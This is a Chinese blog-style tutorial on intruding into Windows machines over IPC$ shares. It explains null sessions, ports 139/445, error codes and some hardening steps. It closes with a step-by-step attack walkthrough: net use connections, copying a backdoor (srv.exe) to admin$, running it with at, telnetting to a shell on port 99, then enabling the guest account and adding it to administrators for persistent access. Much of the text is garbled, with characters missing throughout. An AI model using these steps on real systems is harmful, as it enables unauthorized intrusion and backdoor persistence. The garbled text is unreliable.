IPC$局域网入侵详解

PC$命令详解
ipc$入侵的文章可多如牛毛,而且也不乏秀之作,甚至可以为经典的模式,因此也人愿意再把定式的西拿出来摆
.
过话虽这样说,但我认为这些文章解的详细,于第一次接ipc$的菜鸟来说,简单列步骤并不能解答他多迷惑(你随便找一hack论坛搜一下ipc,看存在的疑惑有多少
).
因此我
篇相于解惑的.想把一些容易混淆,容易迷惑人的问题说清,大家不要徘徊在原地!如果看完篇帖子仍有疑,请马上回!

二 什ipc$
IPC$(Internet Process Connection)
是共享"命名管道"
(大家都是这么说)让进通信而放的命名管道,可以通过验证名和密码获得相,程管理算机和算机的共享使用。

利用IPC$,接者甚至可以主机建立一空的接而无需用(,方机器必须开ipc$共享,则你接不上的),而利用这个空的接,接者可以得到目主机上的用列表(过负责的管理员会禁止出用列表的)
们总ipc$漏洞ipc$漏洞,,ipc$不是正意上的漏洞,了方便管理程管理而放的网络功能,而且了默共享,即所有的逻辑盘(c$,d$,e$……)和系winntwindows(admin$)
所有的,初衷都是了方便管理的管理,但好的初衷不一定有好的收效,一些有用心者(到底是什用心?我也不知道,)利用IPC$访问共享,出用列表,使用一些字典工具,行密,寄希望于得更高的,到不可告人的目的.

解惑:
1)IPC
接是Windows NT及以上系中特有的网络功能,其功能相Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL,所以不能在Windows 9.x行。

也就是只有nt/2000/xp才可以建立ipc$,98/me是不能建立ipc$接的(但有些朋友98下能建立空的,不知道是是假,过现在都2003年了,98的同志一下系统吧,98不爽的)
2)
即使是空
接也不是100%都能建立成功,如果关闭ipc$共享,仍然无法建立

3)
不是建立了ipc$接就可以方的用列表,管理可以禁止出用列表


三 建立ipc$接在hack中的作用
就像上面所,即使建立了一空的,也可以得不少的信息(些信息往往是入侵中必不可少的),访问部分共享,如果以某一具有一定限的用,么你得到相,,如果以管理,嘿嘿,就不用我在多,what u want,u can do!!
(
基本上可以
总结为获取目信息、管理目标进程和服,马并运,如果是2000server可以考虑开启终端服方便控制.怎么样?够厉
!)
过你也不要高的太早,管理的密不是那到的,有一些傻傻的管理用空口令或者弱智密,这毕竟是少,而且在不比前了,着人安全意的提高,管理员们也愈加小心了,得到管理码会
:(
因此今后
最大的可能就是以小的限甚至是,你会慢慢的发现ipc$不是万能的,甚至在主机不开启ipc$共享,根本就无法
.
所以我
认为,不要把ipc$入侵终极武器,不要认为它战无不,就像是足球上射前的,很少有致命一的效果,但却是不可缺少的,才是ipc$接在hack入侵中的意所在.


ipc$,139,445端口,共享的
以上四者的系可能是菜很困惑的一个问题,大部分文章都行特,我理解的也不是很透,都是在大家交流中总结.(有良好讨论BBS可以是菜的天堂)

1)ipc$:
不需要用
ipc$接即,一旦以某或管理的身(即以特定的用名和密码进ipc$),自然就不能叫做空接了
.
多人可能要,然可以空,那我以后就空接好了,么还九牛二虎之力去描弱口令,呵呵,原因前面提到,当你以空接登陆时,你没有任何(很郁闷吧),以用或管理的身陆时,有相(不想呀,所以是老老实实扫吧,不要偷懒哟
).
2)ipc$
139,445端口
:
ipc$
接可以实现远程登共享的访问;139端口的开启表示netbios协议,可以通139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$接是需要139445端口支持的
.
3)ipc$
共享

共享是了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系winntwindows(admin$),ipc$接可以实现对这些默共享的访问(前提是关闭这些默共享)

ipc$接失的原因
以下5原因是比:
1)
的系不是NT或以上*作系
;
2)
有打ipc$共享

3)
方未开启139445端口(惑被防火墙屏)
4)
的命令入有(比如缺少了空格等
)
5)
名或密码错误(然无所
)
另外,
也可以根据返回的错误号分析原因:

错误号5,拒绝访问 : 很可能使用的用不是管理员权限的,先提升限;

错误号51Windows 无法找到网络 : 网络问题

错误号53,找不到网络 ip地址错误;目机;目lanmanserver启动;目有防火(端口过滤);

错误号67,找不到网络名 : lanmanworkstation启动;目标删除了ipc$

错误号1219,提供的凭据已存在的凭据集冲突 : 方建立了一ipc$请删除再

错误号1326,未知的用名或错误 : 原因很明了;

错误号1792试图,但是网络务没启动 : 目NetLogon启动。(接域控此情

错误号2242,此用的密经过期: 目帐号策略,强制定期要求更改密

ipc$不上的问题较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的,就靠大家自己体试验.

六 如何打IPC$(此段引自相文章)
首先
需要得一不依ipc$shell,比如sqlcmd展、telnet、木,然,shelladmin限的,然后可以使用shell行命令 net share ipc$ 来开放目ipc$上面可以知道,ipc$能否使用有很多件。都已行,有就启动它(不知道怎么做的net命令的用法),是不行的(比如有防火不了)建放弃。

七 如何防范ipc$入侵
1
禁止空行枚(*不能阻止空接的建立,引自《解剖win2000下的空会话)
首先
regedit,找到如下[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/LSA]RestrictAnonymous = DWORD键值00000001(如果2,有一些问题会发,比如一些WIN的服现问题等等)

2禁止默共享
1
)察看本地共享
-cmd-net share
2
除共享(每次入一

net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete
(如果有e,f,……可以继续删除)
3
)停止server
net stop server /y
(重新启动server务会重新开启
4
)修改注
-regedit
server
:找到如下主
[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]AutoShareServerDWORD)的键值:00000000

pro
:找到如下主
[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]AutoShareWksDWORD)的键值:00000000

如果上面所
的主不存在,就新建(-新建-节值)一主健再改键值

3永久关闭ipc$和默共享依的服:lanmanserverserver
控制面板-管理工具--找到server(右---启动类-已禁用

4安装防火(中相关设),或者端口过滤(139,445),或者用新版本的化大

5复杂,防止通ipc$穷举

八 相命令
1)
建立空:

net use //IP/ipc$ "" /user:""        (一定要注意:一行命令中包含了3空格)

2)建立非空:

net use //IP/ipc$ "" /user:""     (3空格)


3)
映射默共享:

net use z: //IP/c$ "" /user:""       (即可将对方的c映射自己的z,其他盘类)

如果已和目建立了ipc$可以直接用IP++$访问,具体命令 net use z: //IP/c$

4)除一ipc$

net use //IP/ipc$ /del

5)除共享映射

net use c: /del 除映射的c,其他盘类
net use * /del
除全部,有提示要求按y


典入侵模式
这个入侵模式太典了,大部分ipc程都有介,我也就拿过来引用了,在此感作者!(不知道是位前)

11. C:/>net use //127.0.0.1/IPC$ "" /user:""
一般用流光,通
过扫描弱口令得到,管理员帐号和密
.
2. C:/>copy srv.exe
//127.0.0.1/admin$
srv.exe上去,在流光的Tools下就有(里的$是指adminc:/winnt/system32/,大家可以使用c$d$,意思是C盘与D制到什地方去了)。
  
3. C:/>net time //127.0.0.1
查查时间发现127.0.0.1 时间 2004/6/15 上午 11:00,命令成功完成。
  
4. C:/>at //127.0.0.1 11:05 srv.exe
at命令启动srv.exe

5. C:/>net time //127.0.0.1
查查时间没有?如果127.0.0.1 时间 2004/6/15 上午 11:05,那就准备开始下面的命令。
  
6. C:/>telnet 127.0.0.1 99
用到Telnet命令,注意端口是99Telnet的是23端口,但是我使用的是SRV算机中建立一99端口的Shell
然我可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我打算建立一Telnet就要用到ntlm
  
7.C:/>copy ntlm.exe //127.0.0.1/admin$
Copy命令把ntlm.exe到主机上(ntlm.exe也是在《流光》的Tools中)。
  
8. C:/WINNT/system32>ntlm
ntlm启动里的C:/WINNT/system32>指的是算机,ntlm让这个程序在算机上行)。"DONE"候,就明已经启动正常。然后使用"net start telnet"来开启Telnet

9. Telnet 127.0.0.1,接着入用方了,*作就像在DOS*作一样简单(然后想做什?想做什就做什么吧,哈哈)

了以防万一,再把guest激活加到管理   
10. C:/>net user guest /active:yes
将对方的Guest激活

11. C:/>net user guest 1234
Guest的密1234,或者定的密

12. C:/>net localgroup administrators guest /add
Guest变为Administrator(如果管理更改,guest帐号没,下次我可以用guest再次访问这算机

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值